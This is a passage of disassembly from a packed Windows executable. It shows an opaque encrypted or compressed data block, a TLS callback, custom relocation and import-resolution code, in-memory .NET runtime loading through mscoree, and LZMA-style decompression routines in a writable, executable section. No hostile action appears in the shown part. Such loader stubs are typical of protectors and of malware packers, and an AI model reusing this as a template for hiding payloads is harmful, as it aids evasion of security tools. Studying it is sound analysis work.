0CCA8012Ah, 0A7337201h dd 3457B2B2h, 252C1A3Dh, 0B0A1372Fh, 6E272D96h, 60A00AABh dd 29582CBFh, 8F0639C5h, 716EE9D9h, 41AB3018h, 68224ECBh dd 8C9801A0h, 0A2A29C94h, 3C7A3DC4h, 534FCCF1h, 0C23ADC8Ah dd 0CF805237h, 0D85FA407h, 5A372A38h, 0FAE9F0EBh, 6C7491Bh dd 2EA9CA00h, 1E70B29Bh, 1D301449h, 4500465Ah, 0CDFD3CE6h dd 34177275h, 10E07347h, 1D16A9E6h, 25778F23h, 3D604B2Eh dd 4F28380Ch, 7EBF41A8h, 0A8F75BD4h, 6C095928h, 0B88BB38h dd 88C6DF17h, 1DBB7603h, 0CD477DEBh, 0B7CB7BEEh, 91EC8DE4h dd 0FDB54947h, 32CA1590h, 46EEECFFh, 2006AA71h, 98DED57h dd 0B2738908h, 0D432BB2Dh, 0E2C5F54Ah, 6F6D336Ah, 34CABCFDh dd 0F32C66B8h, 3032EA30h, 8127AD2Ch, 8F475BEAh, 7BCB87E4h dd 0ECE06389h, 50A19D33h, 0A0C3E8FAh, 4A51F70Ch, 3765199Ah dd 40B90753h, 9546B91Eh, 8BD6432Ah, 271FA255h, 79BD24D0h dd 267CD5C4h, 7A72082Dh, 0CA4D2802h, 1178A117h, 58CAA846h dd 16632D8Bh, 0E629A300h, 74256DB2h, 0DB2D0D6Ch, 7030E987h dd 0A565CB71h, 0F162F719h, 0DDFDE9D4h, 0C43A7890h, 0E1BB39BDh dd 81591163h, 0C169B1DCh, 6D8C55A9h, 96688C03h, 0B8C50EACh dd 0B3EFECC5h, 39FB132Dh, 64CAEB87h, 94EC2123h, 5252D5E6h dd 334C65D6h, 0FDE6B618h, 976A6307h, 0EE01EF84h, 0AD0F59C8h dd 6092E682h, 0CD858055h, 6CE07740h, 4CBACF28h, 0F0CC3F50h dd 0E2E6E4FAh, 0F852F840h, 0D33C0FFCh, 78E285FBh, 7062D025h dd 0E6D8F8D5h, 1FC86447h, 2D5E9910h, 22D09ACDh, 742BF144h dd 51F7825Dh, 94E61516h, 7D163EA4h, 804EBD8Bh, 1802D5Fh dd 3BF27EA4h, 175DC9F9h, 0DE6BBEB2h, 0A77A7232h, 95446146h dd 109A1300h, 8132A732h, 0C006D34h, 0DEB30C0Bh, 986E3AEFh dd 0A5C552DDh, 0C271F531h, 58C9EE95h, 3F446E10h, 627C8575h dd 2D3C950h, 1ADE4FF9h dd 4DD18D04h, 0CD72A139h, 0DF85699Eh, 2DA9BAC9h, 1397D4B9h dd 0B8424FE7h, 0D0B93A8Bh, 0FFC27CFEh, 58543CF8h, 0CDF432B9h dd 6CE28073h, 162B4DE4h, 0C334D5FAh, 194065C4h, 0CA84A670h dd 0EE4D7B0Dh, 1A5E1040h, 28C63987h, 3770C628h, 6C203570h dd 3BA2F712h, 0D8E506ABh, 0C5472F98h, 202B2973h, 68EA9AFAh dd 0AA5878CBh, 9901872Bh, 90ED279Ah, 0CFE9F722h, 9960DC8Dh dd 37C1719Eh, 5FE5458Ch, 0BEF190BEh, 8F49676Ch, 0B59948FDh dd 5F618A72h, 2479782Ch, 54761E92h, 0B88F1E31h, 3A9E0368h dd 83637134h, 4BB7C740h, 0D5692FCAh, 3E906004h, 5DE0FB67h dd 10B9C05Dh, 0B48946F2h, 4D8929D5h, 0BB763F33h, 4603C861h dd 20550541h, 4F05F9C1h, 7D4B8C9Ch, 0CBA02CCh, 0BC809D8h dd 0BEFA0F24h, 2D5C3DF3h, 5A75AD03h, 50212A1Ch, 8ABBC4BBh dd 58762979h, 2646DCA7h, 0CA1FF60Ch, 279171h, 0F2904ECDh dd 0F13EC0F5h, 9EF1E3EEh, 96B49F0Ah, 0F113143Bh, 40EEE2D3h dd 0EC12C927h, 0C1B07488h, 0D5F79837h, 0E5C9E999h, 990E820Ch dd 881D0C2Bh, 47BE293Fh, 32A418Dh, 2C480280h, 27CF078Ah dd 0EE8078Eh, 0EECBCB7Dh, 83608094h, 9F059715h, 0AF6217B0h dd 71739BC0h, 0D7A41EEDh, 2E20C047h, 1E944110h, 69643CBh dd 2A68FF94h, 4C8FCBBh, 0EC1C8680h, 0FD09169Dh, 0BD8EAE00h dd 7E0BC093h, 0B26D8462h, 9093E3E8h, 0F81E8290h, 77CD7BD6h dd 0FD5EC8A7h, 498C3E9Eh, 17D0DAE9h, 92709EE7h, 0FB5E80FFh dd 0F80DB00Eh, 939B7687h, 453F47Eh, 3B2F92FEh, 634B965Ch dd 0F5B7319Dh, 9D15BE07h, 0FF2C7C37h, 0C6F72h, 6DF0F6FCh dd 8077FC84h, 24243FB0h, 0FDB7B180h, 0F7BD845Eh, 1DAD306Ch dd 50271ECDh, 0FDC2C82Eh, 27CEC3C6h, 529ACD94h, 0ABF3A9DEh dd 55B7122Ch, 6813A3Dh, 63F7C81h, 5ACC933Ah, 0B75FE800h dd 9A923E6Fh, 331F208Ch, 3579BFF4h, 20AB6D7h, 9E4B1DCCh dd 627EA2E9h, 0A383974Ch, 0E82A925Ah, 0C6D468A0h, 89606FE8h dd 64A601B7h, 67F66C68h, 813905C4h, 2FAC03B2h, 0FD1898C2h dd 993950DEh, 143A2D66h, 600AD36Eh, 7161E801h, 4BFBB21Fh dd 0A0192A8Ah, 0BFAB6312h, 0DDC43256h, 4CCD8D14h, 0CCBFDF86h dd 7397E274h, 60AC6AE9h, 0DF904F8Ah, 4F2A6E0Ah, 0BE3C2F37h dd 484491EFh, 0E13414DDh, 61587429h, 4D59E00Fh, 0D091BE40h dd 0EE1D796Ah, 8046DB6Bh, 1B0D83A5h, 0D79784F4h, 0D274050Dh dd 633BB9B5h, 0F81F09EDh, 2E295EFCh, 0E05014DCh, 1C612B17h dd 4628E1AFh, 0A038E68Bh, 410E196Ch, 0BA00AAF0h, 18E60D7Bh dd 0ADD2131Bh, 0CFAA7CFCh, 7A984AA0h, 0B85AD4E9h, 2EB2FCD4h dd 0FCE8922Fh, 0A55673EAh, 7B12F8DBh, 0BAEC162Ch, 2009D3F2h dd 0C6ECC30Eh, 9377E00Eh, 47500E7Bh, 874EA4E5h, 9C41E6B9h dd 598A99E8h, 76BA66B8h, 0D9702430h, 620F7E8Fh, 0B228AA5Ch dd 9FFDDD6h, 2AD9C598h, 51CAFF75h, 968EEAEAh, 1E7FF0Fh dd 0F40279D2h, 50353082h, 0BB3FAB2Fh, 0E64A0179h, 3725222Bh dd 3A9E25B8h, 9C3BE631h, 0B61077A6h, 609AA43Ah, 277B26FBh dd 7E5E6624h, 0F720F76Ch, 62FCB4B4h, 4411B56Ch, 8DECC5E8h dd 0DAFCB825h, 0E58C85C9h, 1D0B3C66h, 6EC7DDDFh, 0A1BC1D5Bh dd 0D993CE27h, 43A5198Eh, 0B69940AEh, 285E3F7Ch, 0D70DEBE9h dd 7F54BDFDh, 0FD288F3Fh, 9C10FD3Eh, 0E25670DFh, 1F90B122h dd 0B827B1C3h, 0F3A6ABC2h, 6EF5C10Ch, 0BCB7D376h, 3EA3944Bh dd 0E2C1ADA9h, 6AC89A25h, 806DB26Ch, 0EC40D6B1h, 0BEB42616h dd 3CAC19B8h, 0D7FFB118h, 0DB4CEFB9h, 8B6221AAh, 8A79605Dh dd 0B0D24EA5h, 0B4950581h, 9EDC047Bh, 0CD1EB0AAh, 0AC87DEBBh dd 18E90520h, 0A6511082h, 4338AA40h, 0B1955219h, 5285BFA6h dd 0E80BCEDAh, 17028629h, 301C45F5h, 18EF49C9h, 58ECB0CBh dd 5BE4CED5h, 0F6A3FF75h, 0C111FF07h, 5D71AC7h, 7F63785Dh dd 0B1C914Fh, 0CF591A0Ah, 0A98CAE14h, 1641BCA9h, 0F6978F33h dd 0F3DC1C36h, 0E560211Eh, 65851BADh, 1C1377A8h, 430EC49Dh dd 0BEE8A97h, 410551A5h, 0AB6925FDh, 0A3B3D200h, 0BFBC3D54h dd 5F81AD71h, 0FC3D29F1h, 0EA740C5Fh, 0B11DEC0Fh, 8E730CC8h dd 4A45E929h, 942CEE40h, 99EAE274h, 129A4921h, 34D98269h dd 0AAECEC54h, 64DAFD4Bh, 40BF0D41h, 813A9CBFh, 117DE0F5h dd 49BEAA23h, 33EA022Ch, 9BE9926Bh, 0C6B019AEh, 0D44681B5h dd 0C0CDBF0Dh, 64D87443h, 47C723A9h, 59FC313Bh, 57272762h dd 76C3A2F3h, 8CF48DC2h, 0CB4C8E79h, 8993048Dh, 58D22A81h dd 0F16DED2Dh, 72E9FDCFh, 0FC464D58h, 159FBFF4h, 4D5E8020h dd 0A911E7A2h, 0B03454EBh, 0BF44422Ch, 0E9877D77h, 0C3C18783h dd 7B2ACF5Fh, 6062BD6h, 0E7DD197Fh, 21FD62C2h, 0B782D26Fh dd 0C0A70C19h, 4370CFB7h, 2D810E08h, 3C12B016h, 2CC9F43Eh dd 5426B6BBh, 570B789Eh, 359986D2h, 9DD6C806h, 8EFF3120h dd 32D8B938h, 0DFCE6789h, 1AE96C65h, 0DD0A6378h, 57CCF444h dd 4329F7D5h, 9B515726h, 35372332h, 9E1C9CA2h, 12276E97h dd 5DD51D03h, 92685DD3h, 0DCE6FC04h, 0B8030C07h, 91293850h dd 4F6236E8h, 6C14DACBh, 32FEB280h, 7BC52E31h, 1BF93014h dd 0DF32D495h, 0A22A12E3h, 2E9765BDh, 4439FE17h, 9BE12B19h dd 1E43128h, 3214DAADh, 0D09A0194h, 793F7575h, 35EAD9E0h dd 807E066Eh, 5282D86Bh, 0A2383CC3h, 0CBE4601Eh, 0CAD69E73h dd 0E09680ECh, 50C9C697h, 0B85A1374h, 142EE00Bh, 0B100B6A8h dd 626D2BD4h, 7A7DDDCh, 0D2DF6D5h, 0FBC86029h, 291566D8h dd 0B6AB0998h, 10655213h, 0DCC1155Bh, 6267A663h, 9C6554BBh dd 5099791Ah, 14E379D6h, 52680AA1h, 4B40FB7Dh, 0FA725F76h dd 6D808D4h, 0A55D81DAh, 0A54F81F0h, 7C98BC20h, 0D78E6FD5h dd 5E8D3CE9h, 3672E556h, 0DC82F75Ah, 536AA184h, 0F5F6AF1Fh dd 6FF30A67h, 0C7DA8B95h, 0FFDE467Eh, 746C320h, 0CE3E3420h dd 0D9887344h, 0F75ABC08h, 0A278D5AEh, 0AE3C8C74h, 0D30371CAh dd 93E59680h, 2C1C813Eh, 0DD45D3B4h, 46F32725h, 0D81B251Bh dd 0CE1E12D4h, 0F3C01F47h, 9A70E7A2h, 0B8E0C9C3h, 1E97D477h dd 0D9E5FB43h, 2CDF564h, 20741602h, 3CD1A0A2h, 0E1AD9CC9h dd 40F9AD1Dh, 443A1DADh, 0B296ED76h, 478C0866h, 8E685820h dd 0C6AECE2Dh, 19399E03h, 33218DC0h, 3E4F1DD5h, 5F877EDAh dd 6E6E06h, 0C8EBD93Dh, 0EEE2485Ah, 8A4A300Bh, 0E8B9E668h dd 74D217DFh, 0FC403ABAh, 7504CAA8h, 0F8D3B177h, 1FB17FE5h dd 0E7B1B35Ah, 60E3D80h, 37C96F20h, 5736931Ch, 8B597762h dd 63443EEDh, 93794CC0h, 8B2243Fh, 24221583h, 422CE797h dd 0A5C402DFh, 0FCBB7F97h, 8BEFC86h, 0BD117EE7h, 0C4B24723h dd 0A39A3E32h, 7018FDE6h, 0B4F6845Ch, 0C9C74C32h, 0EA00412Eh dd 304CF229h, 0BFFBAAF2h, 0C73EA8C0h, 50CC2BBh, 233CBB30h dd 9CEA2D4Eh, 3FFF7043h, 6B38AD34h, 0EECD5BE0h, 6D13B2E1h dd 0C8E2A4DCh, 0EE276D71h, 0F86E0E42h, 2F9365F7h, 0D56D3609h dd 0A06D6C9h, 66232AD0h, 0EA6A6FFh, 9D10DB5Eh, 51898EC9h dd 1A5478D7h, 0E6B25619h, 881E9728h, 0D53B677Ah, 0D067A909h dd 55AFBBFh, 8B45075Dh, 2A35A421h, 428AFD08h, 67DDEB6h dd 93C25901h, 629EF631h, 6D8B4026h, 789C5ECBh, 0D6E7D9A0h dd 0C84E3491h, 69E79FF6h, 67DF16A0h, 0ACF9A75Eh, 0A0C9D64Fh dd 190B982Eh, 2184F984h dd 105EB62Eh, 37E6E365h, 0B9E32FA7h, 0AED4B02Bh, 5FA600B8h dd 0CC1AF842h, 788F5408h, 0F2ADAFDEh, 60CD89EFh, 163672CAh dd 47FCE26Fh, 10E21D94h, 0E1728113h, 13BF8D3Bh, 47354B39h dd 0F3210FBFh, 72CCF265h, 3244652Ah, 0CC3C5611h, 72DC700Ch dd 590B3815h, 0F45BAD0h, 0DF9B6241h, 28F484B0h, 0B5C75BC5h dd 87E3EF38h, 0FFC797F1h, 8987F6BAh, 290114F5h, 8CBCB97Bh dd 0FF05EDCFh, 29716CE4h, 14AAA571h, 0E16EA661h, 0F6C46DA2h dd 0F084694Fh, 0C566F4FCh, 4396142Dh, 542531DFh, 0C172FFB1h dd 86550D9Bh, 0AB35A2D2h, 0F32884Ah, 0A341205Bh, 64DCB7AAh dd 55FE5EC4h, 5C1E7375h, 0D83B0509h, 863911F5h, 69FDE78Eh dd 0B298B86Bh, 86A737CAh, 0A24623B4h, 0EB01D077h, 0F9CD5E5Eh dd 0A55A4E4Eh, 1E8E70CFh, 0EE69E3BDh, 3A967E0h, 86747B41h dd 82B03699h, 895DFAA5h, 0D0B020CEh, 0EABE5F56h, 5783AC8Ah dd 0EBAE9EA0h, 604DF302h, 898AE010h, 4FC7C03Fh, 0C2693628h dd 94CD72F3h, 61138A6Ch, 624C1090h, 5911DF9h, 6CFEBFE9h dd 0FFBFF9F3h, 0ABCC9FF5h _pdata ends ; Section 3. (virtual address 00034000) ; Virtual size : 0000193C ( 6460.) ; Section size in file : 0000193C ( 6460.) ; Offset to raw data for section: 00034000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 434000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_434000 dd 185Ch ; DATA XREF: start:loc_434A55r ; start+21o TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: .ex_cod:TlsCallbacks_ptro TlsIndex dd 0 ; DATA XREF: .ex_cod:TlsIndex_ptro dword_43400C dd 0 ; DATA XREF: TlsCallback_0:loc_435323r ; sub_435372+7w dword_434010 dd 1 ; DATA XREF: TlsCallback_0+44w ; sub_435372r dword_434014 dd 400000h ; DATA XREF: TlsCallback_0+4Aw ; sub_435372+1Fr dword_434018 dd 1 ; DATA XREF: TlsCallback_0+52w ; sub_435372+19r dword_43401C dd 0 ; DATA XREF: TlsCallback_0+5Aw ; sub_435372+13r dword_434020 dd 0 ; DATA XREF: start+1E3r ; TlsCallback_0+Fw off_434024 dd offset dword_43585C ; DATA XREF: start+26w start+2Br ... dword_434028 dd 400000h ; DATA XREF: start+38w start+4Cr ... dword_43402C dd 1 ; DATA XREF: start+3Er ; start:loc_434A96w dword_434030 dd 0 ; DATA XREF: start+BAw sub_4353E1+Br ... align 8 aUnexpectedRelo db 'Unexpected relocation type: *pw = 0x%04x *pdw = 0x%08x',0 ; DATA XREF: start+801o aErrorBadReloca db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+7B1o aTheHsFileIsL_0 db 'The %hs file is ',0Ah ; DATA XREF: start+662o db 'linked to missing export %hs:%hs.',0 align 10h aTheHsFileIsLin db 'The %hs file is ',0Ah ; DATA XREF: start+643o db 'linked to missing export %hs:0x%04x.',0 align 4 aARequired_dllF db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+558o align 4 aErrorAllocatin db 'Error allocating memory!',0 ; DATA XREF: start+2CDo align 10h dword_434150 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29Ch ; DATA XREF: sub_435421+131o aWks: ; DATA XREF: sub_435421+F1o unicode 0, <wks>,0 aOleaut32_dll db 'oleaut32.dll',0 ; DATA XREF: sub_435421+57o align 4 aCorbindtorunti db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_435421+4Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_435421+45o aCouninitialize db 'CoUninitialize',0 ; DATA XREF: sub_435421+38o align 4 aCoinitialize db 'CoInitialize',0 ; DATA XREF: sub_435421+2Do align 4 aOle32_dll db 'ole32.dll',0 ; DATA XREF: sub_435421+11o align 4 dd 34200h, 2 dup(0) dd 34304h, 34234h, 34228h, 2 dup(0) dd 3432Ch, 3425Ch, 5 dup(0) dd 34268h, 34276h, 34286h, 34298h, 342AAh, 342BEh, 342D0h dd 342DEh, 342F4h, 0 dd 34312h, 3431Eh, 0 dword_434234 dd 77E79E34h ; DATA XREF: sub_434960+ADr start+3ADr ... dword_434238 dd 77E7980Ah ; DATA XREF: sub_434960+65r start+142r ... dword_43423C dd 77E7A5FDh ; DATA XREF: start+5F0r start+612r ... dword_434240 dd 77E805B8h ; DATA XREF: start+508r start+546r dword_434244 dd 77E79F93h ; DATA XREF: start+4F2r dword_434248 dd 77E6169Ah ; DATA XREF: start+4DAr start+696r ... dword_43424C dd 77E75CB5h ; CODE XREF: sub_43539D+2Cp ; DATA XREF: start+2DCr ... dword_434250 dd 77E7A099h ; DATA XREF: start+177r dword_434254 dd 77E805D8h ; DATA XREF: sub_435421+9r dd 0 dword_43425C dd 77D4C96Ah ; DATA XREF: start+560r start+64Br ... dword_434260 dd 77D6ADD7h ; DATA XREF: start+2D4r start+573r ... align 8 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h dd 65726464h, 7373h, 6F4C0249h, 694C6461h, 72617262h, 41784579h dd 1770000h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h dd 37B0000h, 74726956h, 506C6175h, 65746F72h, 7463h, 784500AFh dd 72507469h, 7365636Fh, 1750073h aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D50000h, 72707377h, 66746E69h, 1DE0041h dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h dd 6C6Ch ; --------------------------------------------------------------------------- loc_434338: ; DATA XREF: sub_435421+E5o and ah, [edi+2Fh] retf ; --------------------------------------------------------------------------- cmp ch, [ebx+409C11D2h] add al, al dec edi mov ds:67233E0Ah, eax ; DATA XREF: sub_435421+EAo das retf ; --------------------------------------------------------------------------- dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434358 proc near ; CODE XREF: sub_4345EB+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_4343B0 push ebx mov [ebp+arg_0], edx loc_434373: ; CODE XREF: sub_434358+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_43437F sub edi, esi or al, 1 loc_43437F: ; CODE XREF: sub_434358+21j cmp esi, 1000000h jnb short loc_4343AA mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_43439D mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_4343A2 ; --------------------------------------------------------------------------- loc_43439D: ; CODE XREF: sub_434358+37j mov bl, [edx] inc edx mov [ecx], edx loc_4343A2: ; CODE XREF: sub_434358+43j movzx edx, bl shl edi, 8 or edi, edx loc_4343AA: ; CODE XREF: sub_434358+2Dj dec [ebp+arg_0] jnz short loc_434373 pop ebx loc_4343B0: ; CODE XREF: sub_434358+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_434358 endp ; =============== S U B R O U T I N E ======================================= sub_4343BA proc near ; CODE XREF: sub_43447F+1Dp ; sub_4344B6+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_43442B mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_434427 mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_43440E mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_434413 ; --------------------------------------------------------------------------- loc_43440E: ; CODE XREF: sub_4343BA+46j mov dl, [esi] inc esi mov [ecx], esi loc_434413: ; CODE XREF: sub_4343BA+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_434427: ; CODE XREF: sub_4343BA+3Fj xor eax, eax jmp short loc_43447C ; --------------------------------------------------------------------------- loc_43442B: ; CODE XREF: sub_4343BA+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_43447C mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_434462 mov [ecx+10h], eax or bl, 0FFh jmp short loc_434467 ; --------------------------------------------------------------------------- loc_434462: ; CODE XREF: sub_4343BA+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_434467: ; CODE XREF: sub_4343BA+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_43447C: ; CODE XREF: sub_4343BA+6Fj ; sub_4343BA+96j pop edi pop esi retn sub_4343BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43447F proc near ; CODE XREF: sub_434576+26p ; sub_434576+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_4344AA push esi push edi mov edi, [ebp+arg_4] loc_434490: ; CODE XREF: sub_43447F+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_4343BA pop ecx add eax, esi dec edi pop ecx jnz short loc_434490 pop edi pop esi loc_4344AA: ; CODE XREF: sub_43447F+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_43447F endp ; =============== S U B R O U T I N E ======================================= sub_4344B6 proc near ; CODE XREF: sub_4345EB+2F5p ; sub_4345EB+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_4344EC push esi loc_4344C6: ; CODE XREF: sub_4344B6+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_4343BA pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_4344C6 pop esi loc_4344EC: ; CODE XREF: sub_4344B6+Dj mov eax, ebx pop edi pop ebx retn sub_4344B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4344F1 proc near ; CODE XREF: sub_4345EB+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_4343BA pop ecx mov ebx, eax pop ecx or ebx, 2 loc_434520: ; CODE XREF: sub_4344F1+5Fj cmp esi, eax jnz short loc_434552 cmp ebx, 100h jge short loc_43456F movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_4343BA pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_434520 ; --------------------------------------------------------------------------- loc_434552: ; CODE XREF: sub_4344F1+31j mov esi, 100h loc_434557: ; CODE XREF: sub_4344F1+7Cj cmp ebx, esi jge short loc_43456F push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_4343BA pop ecx or ebx, eax pop ecx jmp short loc_434557 ; --------------------------------------------------------------------------- loc_43456F: ; CODE XREF: sub_4344F1+39j ; sub_4344F1+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_4344F1 endp ; =============== S U B R O U T I N E ======================================= sub_434576 proc near ; CODE XREF: sub_4345EB+24Fp ; sub_4345EB+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_4343BA pop ecx pop ecx test eax, eax push edi jnz short loc_4345A6 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_43447F add esp, 0Ch jmp short loc_4345E8 ; --------------------------------------------------------------------------- loc_4345A6: ; CODE XREF: sub_434576+16j lea eax, [esi+2] push eax call sub_4343BA pop ecx pop ecx test eax, eax push edi jnz short loc_4345D4 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_43447F add esp, 0Ch add eax, 8 jmp short loc_4345E8 ; --------------------------------------------------------------------------- loc_4345D4: ; CODE XREF: sub_434576+3Ej add esi, 204h push 8 push esi call sub_43447F add esp, 0Ch add eax, 10h loc_4345E8: ; CODE XREF: sub_434576+2Ej ; sub_434576+5Cj pop edi pop esi retn sub_434576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4345EB proc near ; CODE XREF: sub_434960+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_434653 mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_434653: ; CODE XREF: sub_4345EB+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_434675: ; CODE XREF: sub_4345EB+AFj cmp [ebp+var_34], edi jnz short loc_434681 mov [ebp+var_24], edx or al, 0FFh jmp short loc_434689 ; --------------------------------------------------------------------------- loc_434681: ; CODE XREF: sub_4345EB+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_434689: ; CODE XREF: sub_4345EB+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_434675 mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_434951 loc_4346AC: ; CODE XREF: sub_4345EB+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz loc_434761 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_434701 and [ebp+var_4], 0 jmp short loc_434711 ; --------------------------------------------------------------------------- loc_434701: ; CODE XREF: sub_4345EB+10Ej cmp [ebp+var_4], 0Ah jge short loc_43470D sub [ebp+var_4], 3 jmp short loc_434711 ; --------------------------------------------------------------------------- loc_43470D: ; CODE XREF: sub_4345EB+11Aj sub [ebp+var_4], 6 loc_434711: ; CODE XREF: sub_4345EB+114j ; sub_4345EB+120j cmp [ebp+var_14], 0 jz short loc_43473E mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_4344F1 add esp, 0Ch and 